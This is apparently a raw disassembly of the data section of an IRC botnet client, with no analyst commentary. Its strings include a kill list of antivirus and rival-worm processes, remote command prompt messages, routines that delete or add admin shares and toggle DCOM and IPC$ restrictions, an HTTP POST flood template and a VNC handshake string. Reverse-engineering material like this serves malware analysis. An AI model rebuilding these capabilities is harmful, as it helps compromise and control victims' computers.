aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
align 10h
dword_43A1E0 dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
; DATA XREF: sub_419AE0+ABo
dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
dd 5325h
unk_43A20C db 2Dh ; - ; DATA XREF: sub_419AE0+81o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aMessageSentSuc db '- message sent successfully',0
align 4
dword_43A234 dd 7530h ; DATA XREF: sub_419F4D+12r
off_43A238 dd offset aRegedit_exe ; DATA XREF: sub_419C09+CBo
; "regedit.exe"
dd offset aMsconfig_exe ; "msconfig.exe"
dd offset aNetstat_exe ; "netstat.exe"
dd offset aMsblast_exe ; "msblast.exe"
dd offset aZapro_exe ; "zapro.exe"
dd offset aNavw32_exe ; "navw32.exe"
dd offset aNavapw32_exe ; "navapw32.exe"
dd offset aZonealarm_exe ; "zonealarm.exe"
dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
dd offset aPandaavengine_ ; "PandaAVEngine.exe"
dd offset aSysinfo_exe ; "sysinfo.exe"
dd offset aMscvb32_exe ; "mscvb32.exe"
dd offset aMsblast_exe_0 ; "MSBLAST.exe"
dd offset aTeekids_exe ; "teekids.exe"
dd offset aPenis32_exe ; "Penis32.exe"
dd offset aBbeagle_exe ; "bbeagle.exe"
dd offset aSysmonxp_exe ; "SysMonXP.exe"
dd offset aWinupd_exe ; "winupd.exe"
dd offset aWinsys_exe ; "winsys.exe"
dd offset aSsate_exe ; "ssate.exe"
dd offset aRate_exe ; "rate.exe"
dd offset aD3dupdate_exe ; "d3dupdate.exe"
dd offset aIrun4_exe ; "irun4.exe"
dd offset aI11r54n4_exe ; "i11r54n4.exe"
aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: sub_419C09+ECo
; .data:0043A294o
align 4
aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:0043A290o
align 4
aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:0043A28Co
align 4
aRate_exe db 'rate.exe',0 ; DATA XREF: .data:0043A288o
align 10h
aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:0043A284o
align 4
aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:0043A280o
align 4
aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:0043A27Co
align 4
aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:0043A278o
align 4
aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:0043A274o
aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:0043A270o
aTeekids_exe db 'teekids.exe',0 ; DATA XREF: .data:0043A26Co
aMsblast_exe_0 db 'MSBLAST.exe',0 ; DATA XREF: .data:0043A268o
aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:0043A264o
aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:0043A260o
aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:0043A25Co
align 10h
aWincfg32_exeta db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: .data:0043A258o
aZonealarm_exe db 'zonealarm.exe',0 ; DATA XREF: .data:0043A254o
align 4
aNavapw32_exe db 'navapw32.exe',0 ; DATA XREF: .data:0043A250o
align 4
aNavw32_exe db 'navw32.exe',0 ; DATA XREF: .data:0043A24Co
align 4
aZapro_exe db 'zapro.exe',0 ; DATA XREF: .data:0043A248o
align 10h
aMsblast_exe db 'msblast.exe',0 ; DATA XREF: .data:0043A244o
aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .data:0043A240o
aMsconfig_exe db 'msconfig.exe',0 ; DATA XREF: .data:0043A23Co
align 4
aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .data:off_43A238o
aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_419C09+191o
align 10h
unk_43A3F0 db 2Dh ; - ; DATA XREF: sub_419E38:loc_419EBFo
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListFai db ' process list failed',0
align 4
unk_43A414 db 2Dh ; - ; DATA XREF: sub_419E38+80o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aProcessListCom db ' process list complete',0
align 4
unk_43A438 db 2Dh ; - ; DATA XREF: sub_419E38+19o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aListingProcess db ' listing processes:',0
aPrivmsgSS_1 db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0
align 10h
unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0
align 10h
unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0
align 4
unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteCommandP db '- Remote Command Prompt',0
align 4
off_43A548 dd offset aIpc ; DATA XREF: sub_41A3C6+1B3o
; sub_41A6EA+17Ao
; "IPC$"
align 10h
dd offset aAdmin_0 ; "ADMIN$"
align 8
off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o
dd offset dword_43A570
dd offset dword_43A56C
dd offset dword_43A568
dword_43A568 dd 5C3A44h ; DATA XREF: sub_41A3C6+217o
; .data:0043A564o
dword_43A56C dd 2444h ; DATA XREF: .data:0043A560o
dword_43A570 dd 5C3A43h ; DATA XREF: .data:0043A55Co
dword_43A574 dd 2443h ; DATA XREF: .data:off_43A558o
aAdmin_0 db 'ADMIN$',0 ; DATA XREF: .data:0043A550o
align 10h
aIpc db 'IPC$',0 ; DATA XREF: .data:off_43A548o
align 4
dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o
; sub_41A6EA+2DBo
aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0
align 4
dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo
aNetworkSharesD db '- Network shares deleted.',0
align 10h
dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o
aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0
align 4
dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo
aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0
align 10h
dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0
align 4
dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o
aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0
align 10h
dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o
; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0
align 10h
dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce db '- Restricted access to the IPC$ Share.',0
align 10h
dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o
aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0
align 4
aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
; sub_41A6EA+EDo
align 10h
dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o
; sub_41A6EA+91o
aFailedToOpenDc db '- Failed to open DCOM registry key.',0
dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh
; DATA XREF: sub_41A3C6:loc_41A433o
dd 62617369h, 2E64656Ch, 0
dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o
aDisableDcomFai db '- Disable DCOM failed.',0
align 4
aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o
; sub_41A6EA+54o
align 10h
dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o
aNetworkSharesA db '- Network shares added.',0
aC_0 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o
align 4
aC_1 db '%c$',0 ; DATA XREF: sub_41A6EA+219o
dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o
; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o
; sub_41A6EA+269o
aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0
dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0
align 4
dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o
aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0
align 4
dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh
; DATA XREF: sub_41A6EA:loc_41A757o
dd 6C62616Eh, 2E6465h
dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o
aEnableDcomFail db '- Enable DCOM failed.',0
align 4
aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
db 'Host: %s',0Dh,0Ah
db 'Content-Length: %d',0Dh,0Ah
db 0Dh,0Ah,0
align 10h
dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h
; DATA XREF: sub_41ABFB+1A7o
dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
align 4
aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o
align 10h
aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo
align 10h
aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
align 4
aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao
align 4
aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
align 10h
aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co
align 10h
aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o
align 10h
aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo
align 10h
aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o
align 10h
aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
align 4
aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o
aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo
align 10h
aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
align 4
aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do
align 10h
aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o
align 10h
aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo
align 10h
aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o
align 10h
aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o
align 10h
aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao
align 10h
aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o
align 4
aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co
align 4
aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o
dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41AF8F+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41AF8F+192o
aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
align 4
dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_41B243+A4o
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o
aDialUp db 'Dial-up',0 ; DATA XREF: sub_41B243+5Bo
aNotConnected db 'Not connected',0 ; DATA XREF: sub_41B243+48o
align 10h
unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToConnec db ' Failed to connect to HTTP server.',0
align 10h
unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aCouldNotOpenAC db ' Could not open a connection.',0
align 4
dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h
; DATA XREF: sub_41B302+1A0o
dd 4C525520h, 2Eh
unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o
db 3, 34h, 2
db 76h ; v
db 69h, 73h, 69h
db 74h ; t
db 2, 3, 2Dh
aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0
align 4
dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h
; DATA XREF: sub_41B302+18Co
dd 64657469h, 2Eh
dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo
word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r
align 4
dword_43ADD8 dd 6325h ; DATA XREF: .text:0041B89Co
dword_43ADDC dd 0DFFh ; DATA XREF: .text:0041B6EAo
dword_43ADE0 dd 51FFh ; DATA XREF: .text:0041B6DFo
dword_43ADE4 dd 0EBFFh ; DATA XREF: .text:0041B6D4o
dword_43ADE8 dd 201h ; DATA XREF: .text:0041B6BFo
aRfb003_008 db 'RFB 003.008',0Ah,0 ; DATA XREF: .text:0041B6ADo
align 10h
dword_43AE00 dd 3924EA90h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
align 10h
dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr
dd 9875h, 9873h
off_43AE1C dd offset sub_41D124 ; DATA XREF: sub_41C164r
dd offset nullsub_2
dd offset nullsub_2
dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr
dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o
; sub_41D626+2o
off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr
dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er
; sub_423DD1+46r ...
dd 10h, 0
off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do
; sub_41F216+69o ...
off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r
; sub_41F216+89w ...
dd offset dword_43AE68
dd offset dword_43AE68
dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r
; sub_41F35A:loc_41F3A7w
dd 0FFFFFFFFh
dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .data:0043AE58o
; .data:0043AE5Co
off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r
; sub_41F35A+20w ...
dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r
; sub_41BEF3:loc_41BF2Fr ...
off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r
; sub_41C0CE:loc_41C12Fr ...
off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r
db 2 dup(0)
word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r
; .data:off_43CE78o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r
; sub_41C0CE:loc_41C11Ar ...
byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r
; sub_420DB0+311r ...
align 4
dd 1
off_43D090 dd offset aNull ; DATA XREF: sub_41FF3F:loc_4202A3r
; sub_41FF3F+457r
; "(null)"
off_43D094 dd offset aNull_0 ; DATA XREF: sub_41FF3F+259r
; "(null)"
byte_43D098 db 1 ; DATA XREF: sub_420749+E1r
db 2, 4, 8
align 10h
dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo
dword_43D0A4 dd 82798260h ; DATA XREF: sub_420749+11Dr
dd 21h, 0
dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co
; sub_420C7F+Co
dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
asc_43D2F8 db ' ',9,'-',0Dh,']',0 ; DATA XREF: sub_420C7F+19o
; sub_420DB0:loc_421317o
align 10h
asc_43D300: ; DATA XREF: sub_420DB0:loc_421207o
unicode 0, <]>,0
align 8
dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o
off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r
; "exp"
dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch
dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
dd 23h, 4277B4h, 24h, 4277B0h
dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r
; sub_421BFF:loc_421CE6r ...
dd 0
dd 0FFF80000h
dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r
; sub_421BFF:loc_421CBEr ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
; sub_4220AC+1Fr
align 4
tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
align 10h
off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw
; sub_41FF3F+3AAr
off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w
; sub_41FF3F+3E2r
off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w
; sub_420DB0+430r
off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew
; sub_41FF3F+3CBr
off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w
off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w
dd offset sub_424F1C
align 10h
dd offset sub_422DFC
off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r
dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar
; sub_423638+11o ...
dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
dd 0C000008Dh, 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
dd 0C0000090h, 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_43D4C0 dd 3 ; DATA XREF: sub_4234F7+58r
; sub_425C06+C8r
dword_43D4C4 dd 7 ; DATA XREF: sub_4234F7+5Er
; sub_425C06+CDr
dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r
; sub_425D33+4r
dword_43D4CC dd 8Ch ; DATA XREF: sub_4234F7+82r
; sub_4234F7+8Fw ...
dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o
; sub_41FE2A:loc_41FEE7o
dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo
; sub_423DD1+28r
off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr
; sub_423DD1+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h
dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h
dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h
dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh
dd 0FFh, 427940h
off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo
; sub_42413E+55o
align 10h
dd offset dword_4DC020
dd 101h
dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o
dd 1000h, 0
dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o
; sub_420CE6+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o
; sub_420CE6:loc_420D04o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo
dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o
dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r
; sub_4218B4+46r
align 8
dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo
dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o
dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
dd 400FC350h, 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_42600E+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
